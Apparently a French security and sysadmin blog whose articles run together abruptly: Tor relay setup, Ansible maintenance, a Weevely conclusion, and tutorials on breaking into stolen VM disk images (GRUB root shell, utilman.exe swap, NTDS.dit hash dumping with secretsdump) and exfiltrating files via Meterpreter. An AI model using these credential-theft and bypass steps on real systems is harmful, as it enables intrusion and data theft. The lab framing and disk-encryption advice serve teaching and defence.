En conclusion, Weevely est un outil très sympathique qui s’avère être aussi bien utile en CTF qu’en contexte réel. Sa capacité à créer et à gérer des webshells interactifs en fait un choix judicieux. Cet article « cheat sheet » était loin d’être exhaustif. Je me suis concentré sur les modules et les aspects les plus intéressants selon moi. Il peut être utilisé comme un guide pratique pour tirer le meilleur parti de cet outil.
Les relais sont des serveurs ayant été configurés pour faire partie du réseau de Tor. Ils sont aussi appelés « routeurs » ou « nœuds ». Pour abréger, Ils acheminent (émission-réception) du trafic sur le réseau tor. Le principal intérêt de faire tourner un relai Tor c’est bien évidemment de rendre le réseau Tor dans son ensemble plus rapide, plus robuste contre les attaques, plus stable en cas de pannes.
I. Pourquoi configurer un relais Tor ?
Tor est l’un des outils d’anonymat les plus populaires et l’un des réseaux les plus développés. Rien ne serait possible sans l’appui des milliers de bénévoles qui partagent un peu de leur bande passante afin de contribuer tous ensemble au bon fonctionnement de ce réseau.
C’est pour ça qu’à travers cet article j’espère à la fois toucher des particuliers, mais avant tout des entreprises, organisations et associations sensibles à la liberté d’accéder et de s’exprimer sur internet sans restriction pour quiconque.
Au vu du contexte international de ces derniers temps, il ne fait aucun doute que de plus en plus de pays restreignent l’accès à tout ou partie d’internet.
II. Les types de relais tor
Pour rappel Il y a trois types de relais que vous pouvez faire tourner afin d’aider le réseau Tor :
Entré (Entry Guard)
Milieu (Middle)
Sortie (Exit)
<schema relais tor>
Pour rappel, cet article, présente uniquement la configuration d’un noeud tor Middle. Attention, n’est pas relais « Guard » qui veut. Vous êtes élu « Guard » uniquement si votre relais est âgé de plus de huit jours, dispose d’une bonne connectivité et respecte d’autres critères que vous pouvez retrouver ici :
Généralement un relais devient Guard entre 8 et 68 jours. Toutefois, vous ne serez pas « Guard » à plein temps, vous alternerez entre Middle et Guard en fonction de l’état du réseau.
III. Est-ce légal ?
Tor est légal en France. À ce jour (fin 2022), il n’y a rien qui vous interdit d’utiliser le réseau en oignon si ce que vous faites avec est autorisé par la loi. Cependant, en raison de l’exposition légale qui accompagne l’exécution d’un relais de sortie (comme l’exit node est en bou de chaine, c’est cette adresse IP qui sera enregistrée dans les logs des différents sites/serveurs.), les personnes/organisations qui mettent place un noeud de sortie peuvent faire face à des plaintes si du trafic malveillant sort à travers celui-ci.
C’est pour cette raison que vous ne devez pas exécuter un relais de sortie Tor depuis votre domicile (Sinon vous risquez très fortement d’entendre « toc, toc, toc Police » à 6H du matin chez vous).
Presque l’intégralité des relais tor de sortie sont affiliés à une institution, comme une université, une bibliothèque, un « hackerspace », une association senssiblent au traitement des données personnelles et à la confidentialité. Une institution peut non seulement fournir une plus grande bande passante pour la sortie, mais est surtout mieux placée pour traiter les plaintes d’abus ou les rares enquêtes d’application de la loi.
Attention, les informations ci-dessous seront publiques. Je vous conseille (très) vivement de ne pas inscrire des informations qui pourrait se rattacher à vous.
Les 5 directives ci-dessous représentent la configuration minimale pour un relay Guard/Middle Tor. Si-vous souhaitez allouer uniquement une partie de votre bande passante et de votre quota internet à votre relai, ajoutez les 4 directives suivantes. (Je vous le conseille vivement aussi, car un relay tor peut vite générer s’il n’est pas bridé entre 50go et + par jour)
AccountingStart day 0:00 # reset à minuit * les jours du quota
AccountingMax 5 GBytes # 5go par jours
RelayBandwidthRate 1000 KBytes # débit moyen 1mo
RelayBandwidthBurst 2000 KBytes # débit max en cas de pique : 2mo
B. Assurez-vous que le relay est accessible depuis l’exterieur
Dans mon cas, il faut que je crée une règle de redirection de port dans ma box/routeur afin que mon serveur puisse être accessible depuis l’externe. J’ouvre donc le port 443 (TCP) externe que je redirige vers le port 443 (TCP) de l’IP 192.168.1.19 qui n’est qu’autre que mon serveur. :
C. Redémarrez le service
Redémarrez le daemon tor pour que vos modifications de configuration prennent effet :
systemctl restart tor@default
Afin de vérifier si votre relay est bien configuré correctement, je vous invite à consulter les logs de celui-ci avec l’une des commandes suivantes :
journalctl -e -u tor@default
Une fois que vous avez la confirmation que votre relais est bien atteignable depuis l’extérieur (cf la fin des logs), vous pouvez vous en assurer en vérifiant si le réseau Tor peut accéder à votre serveur est accessible depuis le réseau tor :
Environ 3 heures après le démarrage de votre relais, les informations concernant celui-ci devraient apparaître dans la recherche des relais sur le portail Metrics. Vous pouvez rechercher votre relais à l’aide de son nom, de son IP, ou bien encore de son empreinte numérique.
Données statistique basiqueDonnées statistiques avancés sur pleusieurs jours (2/2)
V. Surveiller votre relay en temps réel
Un petit tool très sympathique a été développé par la communauté open source : Nyx. Celui-ci vous permettra d’avoir des statistiques sur le trafic en temps réel de votre relais Tor. Pour l’installer :
apt install nyx
Vous pouvez surveiller votre processus tor avec l’utilisation de la bande passante, la quantité de trafic, les logs.
Vous pouvez exécuter cette commande aussi en tant que « root ». Mais cela n’est pas recommandé pour des questions de sécurité.
sudo -u debian-tor nyx
J’espère qu’à travers cet article je vous aurai un peu sensibilisé sur le fait que nous ne sommes clairement pas tous égaux en ce qui concerne l’accès non censuré à Internet, surtout dans les pays ou le régime politique en place est autocratique.
Alors non, utiliser le navigateur Tor n’est pas forcément utile pour vous en fonction de votre positionnement géographique, mais pour d’autres la réponse est oui.
Vive l’internet non censuré et accessible par tous !
Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.
**FOR EDUCATIONAL PURPOSES ONLY**
0. Introduction
Le chiffrement des disques durs est une pratique fondamentale pour protéger les données sensibles des entreprises et des utilisateurs individuels. En effet, en cas de vol de la machine (virtuelle/physique) les données ne peuvent pas être accessibles sans la clé de déchiffrement appropriée. En outre, cette technique est également devenue un élément-clé de certaines conformités réglementaires dans de nombreux secteurs. Dans cet article, nous allons aborder l’analyse et la reconstruction de machines virtuelles (VMs) suite à un scénario d’attaque fictif ayant impacté un serveur de sauvegarde contenant des fichiers de disque virtuel au format .vmdk non chiffré (à tout hasard : p).
I. Scenario :
Un attaquant a été en capacité de récupérer plusieurs fichiers de disques virtuels après avoir eu accès à un serveur de sauvegarde utilisant le protocole ISCSi. Il souhaite les analyser afin de vérifier si oui ou non il pourrait accéder à des données confidentielles.
Afin de faciliter la rédaction de cet artice, je vais utiliser exclusivement des fichiers .vmdk (fichier de disque virtuel utilisé par les machines virtuelles qui ont vocation à être « cross-platforme »)
II. Pour une machine linux
J’effectue la démonstration avec une VM Ubuntu 22.04
A. Analyse des fichiers (Lecture seulement)
Depuis un hôte Windows, avec le logiciel 7ZIP, je peux facilement ouvrir le fichier .vmdk qui n’est autre qu’un « fichier conteneur » dédié aux stockages des données de la VM :
Les 3 fichiers « .img » représente chaque partition du système d’exploitation. La plus intéressante étant « 2.img » qui est le (fichier le plus grand) qui contient l’ensemble des données de l’OS.
Suite à l’ouverture de celui-ci j’accède directement à la racine du système de fichier. Il est donc possible de consulter n’importe quel dossiers/fichiers sans aucune restriction.
Ici, par exemple, j’accède à un fichier « témoin » stocké dans /root que j’avais précédemment créé en guise de test.
B. Reconstruction de la VM et bypass de l’authentification
Je vais effectuer cette manipulation avec Virtualbox, mais cela est faisable aussi sur VMware Workstation. (dans mon cas j’ai rencontré des petits soucis aléatoires de m*rde avec VMware Workstation 17 Sous Linux…)
Lors de la création de la VM, passez en mode « Expert » afin d’avoir une vue un peu plus détaillé. Ajouter un disque virtuel existant (Use an existing virtual hard disk file) afin que la futur VM se base sur ce disque pour démarrer.
Une fois les paramétrages préliminaires effectués, démarrez la VM et saisissez au plus vite la combinaison de touches shift+echap afin d’afficher le menu de démarrage nommé « GRUB » si l’OS que vous essayez de reconstruire n’affiche pas ce menu par défaut au boot.
Rappel : Séquence de démarrage d’un ordinateur – Exemple avec un OS basé sur Linux
Ensuite, appuyez sur la touche ‘e’ pour modifier les paramètres de grub de manière temporaire,et ainsi modifier le comportement de l’amorçage du kernel.
Descendez à la fin du fichier et localisez le bou de ligne « ro quiet splash $vt_handoff«
Remplacez ce bout de ligne par : rw init=/bin/bash. Enregistrez les modifications avec la touche F10. Cela aura d’ailleurs pour effet de reprendre la séquence de démarrage de la VM.
Cette action va faire booter le système dans un mode « spécial » appellé : Mono-utilisateur (root, le seul, l’unique, le vrai)
J’obtiens donc un shell root en lecture/écriture (d’ou l’instruction rw init=/bin/bash plus haut).
En cas d’échec, remonter le système de fichiers de force (je n’ai jamais eu à la faire pour ma part lors de mes tests) :
mount / -o remount,rw
Il ne me reste plus qu’à changer les mots de passe de(s) utilisateur(s) en question(s). Pour ma part je vais changer le mdp de « user » (qui a des droits sudo) et de root.
passwd user
passwd # Modifie le mdp de l'utilisateur courant (root) :p
Note : Vu que « user » dispose de droits sudo, j’aurais pu me passer de changer directement le mdp de root.
Une fois que vous avez changé le(s) mot(s) de passe, redémarrer « de force » le système avec :
reboot -f
Le système va alors booter « normalement » et vous pourrez vous connecter avec le(s) nouveau(x) mdp associé(s) au(x) compte(s).
III. Pour une machine Windows
J’effectue la démonstration avec une VM Windows server 2022
A. Analyse des fichiers (Lecture seulement)
Même principe qu’avec un système d’exploitation basé sur Linux, ouvrer le fichier « disque virtuel (.vmdk) » avec 7zip (ou équivalent)
Sélectionnez le fichier « Basic Data Partition » qui contient le système de fichiers racine d’un OS Windows.
De nouveau, ici vous avez accès en lecture seulement aux fichiers. Même si vous n’avez pas de droits d’écriture, vous avez quand même la capacité de copier les fichiers, ce qui va être fort utile pour l’étape suivante.
B. Dump du fichier NTDS.dit
Pour rappel, le fichier NTDS.dit est la « base de données » de l’Active Directory qui stocke les informations d’identification et de sécurité des utilisateurs, des groupes et des ordinateurs. (hashes…)
En accédant au répertoire Windows\NTDS depuis 7zip, je suis en capacité de récupérer le fameux fichier NTDS.dit en le copiant.
Afin d’extraire les données de ce fichier, il me faut absolument disposer des deux fichiers connexes Windows\System32\SECURITY et Windows\System32\SYSTEM. Pourquoi allez-vous me dire ?
Et bien voici la réponse :p
Comme dit précédement, lorsqu’un contrôleur de domaine Active Directory est installé, les informations d’identification des utilisateurs sont stockées dans un fichier appelé NTDS.dit. Ce fichier est protégé par une clé de chiffrement stockée dans les fichiers SYSTEM et SECURITY.
Pour accéder au contenu du fichier NTDS.dit, il est donc nécessaire d’extraire la clé de chiffrement à partir des fichiers SYSTEM et SECURITY. Cette clé de chiffrement est utilisée pour déchiffrer le contenu du fichier NTDS.dit et donc récupérer les informations d’identification des utilisateurs.
Copiez donc ces deux fichiers au sein du même répertoire que celui ou vous avez stocké NTDS.dit
Depuis l’utilitaire secretdump (de la suite impacket) qui de mémoire est un outil natif présent dans les versions récentes de Kalilinux, vous pouvez extraire les haches de tous les utilisateurs du domaine avec la commande suivante :
/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
Et voilà !
C. Reconstruction de la VM et bypass de l’authentification
Même principe que plus haut à quelques différences près. Lors de la création de la VM, passez en mode « Expert » afin d’avoir une vue un peu plus détaillé. Ajouter un disque virtuel existant (Use an existing virtual hard disk file) afin que la futur VM se base sur ce disque pour démarrer.
Puis, dans les paramètres de la VM, ajoutez un disque de démarrage. Vu que l’OS cible est Windows Server, il est recommandé pour éviter tout bug, d’utiliser un fichier ISO (récent) qui correspond à la version du système. (Ici Windows Server 2022)
Une fois que vous avez branché celui-ci à la VM, vous pouvez démarrer la VM et utiliser la touche de boot F12 pour choisir ce périphérique de démarrage
Ou alors modifier directement l’ordre de boot dans les paramètres système de la VM
Dès lors que vous êtes arrivé sur le menu initial de l’installation de Windows (suite au boot du fichier .ISO), ajustez votre clavier et cliquez sur suivant.
Puis, cliquez sur « Réparer L’ ordinateur »
Cela va vous afficher le « menu bleu » de Windows. Cliquez sur Dépannage
Puis sur « Invite de commande »
Un terminal va alors s’ouvrir. Grâce à celui-ci, il va être possible de pouvoir effectuer quelques opérations permettant a posteriori de modifier le mot de passe de n’importe quel utilisateur du système.
Dans un premier temps, il convient avec l’utilitaire diskpart d’assigner une lettre au « Volume 1 » du disque 0 (celui-ci en comporte 4 comme l’image le montre). Ce « Volume 1 » contient les données du système. Depuis peu, aucune lettre lui est assignée par défaut. (sur les nouvelles versions)
Suivez les étapes ci-dessous
Entrer sur la partition en question à l’aide de la lettre que vous lui avez assignée. Dirigez-vous vers le dossier Windows\System32.
Renommer le programme utilman.exe en utilman.exe.old et copiez le programme cmd.exe vers le fichier utilman.exe. Ce tour de « passe passe », va vous permettre d’ouvrir un terminal avec des droits d’administrateur lors de l’affichage de l’écran de verrouillage de l’OS en cliquant sur l’icône « Facilité d’accès » / « Ease of Access »
Eteignez la machine, puis rallumez la.
C.1 Cas spécial – Système d’exploitation installé avec UEFI
Si lors du démarrage de celle-ci, vous obtenez le message suivant FATAL: INT18: BOOT FAILURE, cela indique très probablement que vous essayez de booter sur un système d’exploitation supportant EFI/UEFI, mais que vous n’avez pas activé ce mode.
Éteignez de force, et allez dans les paramétrages du système de la VM afin de cocher l’option enable EFI (Spécial Oses only)
Quelques petits rappels sur EFI/UEFI afin que les choses soient un peu plus claires :
EFI (Extensible Firmware Interface) et UEFI (Unified Extensible Firmware Interface) sont tous deux des normes de firmware utilisées pour initialiser le matériel de l’ordinateur et lancer le système d’exploitation. La principale différence entre les deux est que UEFI est une version améliorée et plus récente d’EFI.
EFI a été introduit par Intel en 2000 pour remplacer le BIOS (Basic Input/Output System), qui était utilisé pour initialiser le matériel et lancer le système d’exploitation depuis les années 1980. Il a été conçu pour être plus flexible et extensible que le BIOS, avec la possibilité de charger des pilotes et des applications supplémentaires avant le lancement du système d’exploitation.
UEFI comprend toutes les fonctionnalités d’EFI, mais avec des améliorations telles que la prise en charge de disques durs de plus de 2 To, la compatibilité avec les interfaces graphiques pour une meilleure interface utilisateur, la possibilité de démarrer à partir d’un réseau et une sécurité améliorée.
L’option « Enable EFI (special OSes only) » dans VirtualBox permet donc d’activer le support de l’EFI/UEFI pour les machines virtuelles. En effet, même si depuis ces dernières années de plus en plus d’OS s’installe par défaut via UEFI, il y a encore beaucoup d’OS qui s’installe en mode « BIOS » par défaut (surtout pour les distributions open source).
Si vous cochez cette option, cela signifie que vous souhaitez que votre machine virtuelle utilise l’EFI / UEFI pour démarrer le système d’exploitation. Cela peut être nécessaire pour certains systèmes d’exploitation plus récents qui requièrent l’EFI / UEFI pour démarrer.
Avant de redémarrer, n’oubliez pas changer l’ordre de boot par défaut (si vous l’avez changé) comme ça vous démarrerez directement sur le disque contenant l’OS et non sur l’ISO monté as a DVD.
Une fois que tout est bon, démarrez la machine. Depuis l’écran de verrouillage du système appuyez sur l’icône afin d’exécuter non pas le processus utilman.exe « lui-même » mais cmd.exe que nous avons copié en utilman.exe, pour qu’un terminal privilégié puisse se déclencher lorsque vous cliquez sur l’icône en question.
Pro Tips : Maximiser votre fenêtre, car il se peut que le terminal ne s’affiche pas correctement.
Sur windows 11, le logo ci-dessus a été remplacé par un petit « petit bonhomme »
Un terminal « privilégié » devrait apparaître.
Voici les commandes que vous allez devoir saisir afin de reset le(s) mdp de n’importe quels utilisateurs (en fonction de votre contexte, les commandes sont à adapter)
Si par défaut le compte administrator (local) n’a pas été renommé, vous pouvez reset son mot de passe avec :
net user administrator 123+aze
Pour reset le compte administrator (du domaine) :
net user administrator 123+aze /domain
Après avoir effectué ce(s) actions, vous pouvez alors accéder à la session de l’utilisateur(s) de votre choix.
IV. Conclusion
Le chiffrement des partitions système (windows ou linux) est la solution pour remédier à ce problème de sécurité majeure mais que beaucoup beaucoup de personnes igniore. Cela permetra de protéger les données stockées sur vos machines en les rendant illisibles sans la clé de déchiffrement appropriée (chiffrement symétrique). Alternativement, vous pouvez utiliser les fonctions de « chiffrement de VM » que proposent certains hyperviseurs comme les éditeurs VMware, ou Oracle.
Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.
Bonjour à tous dans ce billet nous allons voir comment exfiltrer des données depuis une machine dont nous avons pris le contrôle en amont. Nous allons utiliser une session meterpreter déjà connectée à une victime disposant d’un système d’exploitation Windows.
nb: Cet article ne vous montreras pas comment prendre le contrôle d’une machine windows.
I. Prérequis
Une session meterpreter (depuis kalilinux), connectée à une machine Windows (serveur 2019 dans mon cas).
Vous pouvez aussi utiliser Windows 7, 10, et même pourquoi pas Windows 11 ^^
Imaginez le contexte suivant :
Vous venez de prendre le contrôle d’un ordinateur Windows via l’exploitation d’une faille de sécurité, ou bien en ayant installé un logiciel infecté par un virus. Dès lors vous souhaitez rechercher des documents sensibles qui pourraient appartenir à la victime.
Lors de vos recherches, je vous conseille de vous concentrer sur moins de 10 extensions de fichier (ex : .pdf,.docx,.doc,.xlsx,.pptx etc.). Dans notre cas pour simplifier le didacticiel, nous allons nous concentrer sur les deux extensions de fichiers suivants :
pdf
docx
En guise de test, j’ai créé rapidement des fichiers sur la machine victime avec des noms qui pourrait s’apparenter à des documents confidentiels au sein d’une entreprise.. Ces documents ont été déposés dans un partage SMB, et ils sont bien entendu fictif.
Ensuite, exécutez la commande suivante, qui va rechercher tous les documents dont l’extension est .pdf/.docx depuis la racine du système de fichiers de notre serveur compromis :
search -f *.docx -f *.pdf
Rapidement, nous trouvons quatre fichiers aux noms évocateurs
II. Exflitration des données
Bon, nous avons trouvé des données, mais nous ne pouvons pas encore les exploiter de manière concrète. Nous savons simplement que ces fichiers existent. Pour exfiltrer ces données, nous devons nous positionner dans les répertoires en question avec la commande suivante :
cd '<chemin absolut>'
Puis éxécutez la commande suivante :
download *
Comme vous l’indique la capture d’écran ci-dessous, les fichiers ont été téléchargés avec succès, et sont stockés dans le dossier suivant de ma machine attaquante kali : /home/kali/
Afin d’effacer d’éventuelle traces numérique suite à notre intrusion dans le système, exécutez la commande suivante :
Ansible est un outil d’automatisation qui parfois peut s’avérer complexe, mais qui mérite clairement votre attention si-vous administrez un grand nombre de serveur. Dans ce présent article, nous allons voir comment réaliser des actions de maintenance basiques sur plusieurs instances « slave » (ubuntu 20.04/22.04).
https://blog.atolcd.com/ansible/
Voilà à quoi va ressembler mon petit lab’ :
Kali linux (192.168.130.128), Instance (contrôleur de noeud) qui va piloter le déploiement de mes actions sur les autres serveurs :
Ubuntu 22.04 – 192.168.130.144
utilisateur : user (droits sudo)
Ubuntu 20.04 – 192.168.130.139
utilisateur : user (droits sudo)
Petit prérequis pour avoir un workflow « click and go take a coffe » :
Utiliser l’authentification ssh par couple de clé privée/publique
Pour rappel voici comment réaliser ceci :
ssh-keygen # Génération d'une clé SSH "basique" si vous n'en avez pas
ssh-copy-id user@192.168.130.144 # copie de cette clé sur l'instance 1
ssh-copy-id user@192.168.130.139 # copie de cette clé sur l'instance 1
Les couples de clés ssh sont stocké dans cet emplacement (par défaut) :
ls ~/.ssh/
id_rsa
id_rsa.pub
I. Installation d’ansible sur votre machine « pilote »
Bien, maintenant passons aux choses sérieuses. Ce qui est top avec ansible, c’est qu’il agit comme un orchestrateur par l’intermédiaire du protocole très populaire SSH. On dit qu’il est « agentless », (pas besoin d’installer un programme « agent » client sur les machines concernées)
Sur ma Kali, je vais donc procéder à l’installation d’ansible de cette manière :
sudo apt update && sudo apt install ansible -y
Voici une des arborescence « type » à utiliser pour ansible. Vous n’êtes pas forcément obligé de la respecter, mais sachez que c’est une des plus courantes. Sur Kali, celle-ci ne se crée pas automatiquement de mémoire. Vous devrez donc peut-être la créer à la main…
Les ressources qui vont nous interesser dans le contexte de l’article sont les suivantes :
inventory/hosts
roles/update/update.yml
II. Préparez votre environnement
cd /etc/ansible/
Astuce : Afin de vous faciliter la vie, utilisez un éditeur de code comme VSCode afin d’interagir avec vos fichiers plus facilement. Par ailleurs, je vous encourage à utiliser l’extension VSCode « YAML » afin de vous aider dans la rédaction de vos playbooks ainsi que dans la gestion des fichiers connexes.
Dans mon fichier inventory/hosts, je vais donc créer deux « groupes ».
[lab1]
[lab2]
L’avantage de faire des groupes ansible permet de cibler précisément sur quel « pool » de serveur vous souhaitez effectuer vos actions de maintenance, afin d’avoir une architecture système propre et bien « splitté ».
Dans un premier temps, je vais effectuer un simple test de connectivité (piiiing) sur le groupe « lab1 » (contenant uniquement l’IP 192.168.130.144)
ansible --inventory-file inventory/hosts -m ping lab1 -u user
À contrario, je peux aussi effectuer le même test pour le groupe « lab2 » (contenant uniquement l’IP 192.168.130.139)
ansible --inventory-file inventory/hosts -m ping lab2 -u user
Enfin, si vous souhaitez effectuer ce test de connectivité sur toutes vos instances, alors vous pouvez utiliser le mot-clé « all » à la place d’un nom de groupe.
ansible --inventory-file inventory/hosts -m ping all -u user
II. Executez des commandes « one line » sur plusieurs instances en même temps
Eh oui, vous n’avez pas forcément besoin d’utiliser des scripts au format .yml (appellé playbooks) tout le temps avec ansible. Certes, c’est moins propre mais si vous souhaitez exécuter ponctuellement une instruction, cela sera plus rapide.
On ne va pas se le cacher, la quasi-totalité des actions de maintenance à réaliser requiers des privilèges plus importants que de simples droits utilisateurs. Par défaut, je vais donc suffixer ma commande avec les options suivantes :
-K : Cet argument permet d’interagir avec notre « shell distant », et ainsi de préfixer chaque commande par sudo pour le compte en question (user dans mon cas). Attention celui-ci doit évidement disposer de droit sudo afin que cela puisse fonctionner
Le mot de passe est à saisir manuellement dès lors que vous avez saisi la commande !
-become-user : Cela permet de dire explicitement à ansible « Je souhaiterais devenir l’utilisateur suivant » (root dans notre cas)
Détails des autres options ci-dessous…
cd /etc/ansible/
ansible --inventory-file inventory/hosts -m shell -a "apt update -y" all -u user -become-user -K
La mise à jour des repositorys a fonctionné
–inventory-file : Emplacement du fichier hosts (à utiliser uniquement, si vous n’êtes pas dans le même dossier que celui-ci)
-m : module à utiliser : Ici je vais utiliser le module « shell » classique. à la suite de cet argument, on retrouvera le nom du groupe (lab1, lab2, ou all dans mon cas)
-a : argument à transmettre au module utilisé (ici le module est shell)
-u : utilisateur (distant) avec lequel je vais me connecter sur les machines « ansiblé ». Pour mes deux serveurs (.139, .144)
L’instruction à l’écran « BECOME Password » vous invite à saisir le mot de passe du compte avec lequel vous vous connectez. Celui-ci doit disposer de droits « sudo ».
Méfiez-vous de l’option « all ». En effet, dans mon cas cela fonctionne car j’ai exactement la même configuration (utilisateurs/mots de passe) sur chacune de mes instances. Je passe en premier lieu par un compte classique avant de « m’élever » en tant que root. Vous trouverez beaucoup de ressources/tuto sur le net qui « passe » uniquement le compte root. Par principe, cela n’est pas une bonne pratique que se connecter directement « as root » sur un serveur bien que la plupart utilisent l’auth SSH clé privée/publique ce qui limite drastiquement l’impact.
III. Mettez à jours vos serveurs directement avec le module apt !
Il y deux méthodes dit « classique » pour effectuer des actions de maintenance à savoir :
Utiliser un playbook (À utiliser lorsque plusieurs vous souhaitez exécuter plusieurs tâches d’administration « séquentiel »)
Exécuter une commande « One liner » sans passer par un playbook (à utiliser uniquement pour un, voire deux enchainements de commande, car cela devient beaucoup trop verbeux après)
Utilisez le module « shell »
Ou utiliser un module ansible (apt dans mon cas) dédié pour votre action si celui-ci existe. L’avantage de cette option est qu’en cas d’erreur, ce module produira plus de logs, et donc cela sera plus facile pour vous de résoudre le problème.
Sans Playbook
ansible --inventory-file inventory/hosts -m apt -a "upgrade=yes update_cache=yes" lab1 -u user -become-user -K
Si-vous souhaitez effectuer vos tests sur plusieurs groupes en même temps, utiliser une virgule pour inclure chacun de vos groupes : lab1,lab2
ansible --inventory-file inventory/hosts -m apt -a "upgrade=yes update_cache=yes" lab1,lab2 -u user -become-user -K
Avec playbook(s)
Rappel sur la notion de playbook :
Un playbook Ansible est un script au format .yml qui décrit une configuration ou un ensemble de tâches à exécuter sur un ou plusieurs hôtes. Il permet de formaliser l’automatisation de la configuration/maintenance d’X instances.
Dans mon cas, je vais effectuer les deux actions suivantes, mais on aurait très bien pu avoir une dizaine de tâches voir plus :
Créer un fichier dans le dossier /tmp/ et lister le contenu de ce dossier
Mettre à jour mon serveur (nécessite des droits sudo)
sudo gedit /etc/ansible/roles/update/update.yml
- name: Ansible playbook tasks automations
hosts: all
become: true
tasks:
- name: Create a test file in /tmp/
shell:
"echo \"Hello world !\" >> /tmp/test ; ls -l /tmp/test"
- name: Update the system
apt:
update_cache: yes
upgrade: yes
Dès lors, je vais exécuter la commande suivante afin de « jouer » mon playbook sur mes deux instances !
ansible-playbook --inventory-file inventory/hosts -u user -become-user -K roles/update/update.yml
Si-vous souhaitez avoir un résultat plus détaillé, je vous invite à saisir l’un des arguments supplémentaires ci-après :
-v (peu verbeux, action par défaut)
-vv (très verbeux, utilisé en cas de troublshooting)
-vvv (très verbeux, utilisé en cas de troublshooting complexe)
J’espère que ce didacticiel vous aura plu. Désormais ansible sera moins étranger pour vous et j’espère que vous avez compris la puissance de cet outil surtout pour l’administration système… :p
Connexion
